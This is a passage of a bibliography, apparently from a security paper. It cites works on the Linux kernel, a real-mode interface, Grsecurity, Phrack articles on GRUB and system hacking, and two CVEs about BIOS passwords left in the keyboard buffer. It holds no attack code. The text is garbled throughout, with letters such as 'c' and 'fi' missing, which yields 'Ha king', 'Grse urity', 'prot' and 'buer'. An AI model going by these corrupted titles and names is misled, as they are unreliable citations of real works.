25.Daniel P. Bovet, M.C. In: Understanding the Linux kernel. O'Reilly (2002)

26.Lrmi: (Linux real mode interfa e proje t page at sour eforge)

27.Grse urity: (Grse urity home page)

28.Malyugin, V.S.: (Debugging linux kernels with vmware workstation 6.0)

29.CoolQ: Ha king grub for fun and prot. (Phra k magazine)

30.S ythale: Ha king deeper in the system. (Phra k magazine)

31.Salihun, D.M. Code Breaker (2004)

32.Brossard, J.: (Cve-2005-4176 : Award bios modular 4.50pg does not lear the keyboard buer after reading the bios password)

33.Brossard, J.: (Cve-2005-4175 : Insyde bios v190 does not lear the keyboard buer after reading the bios password)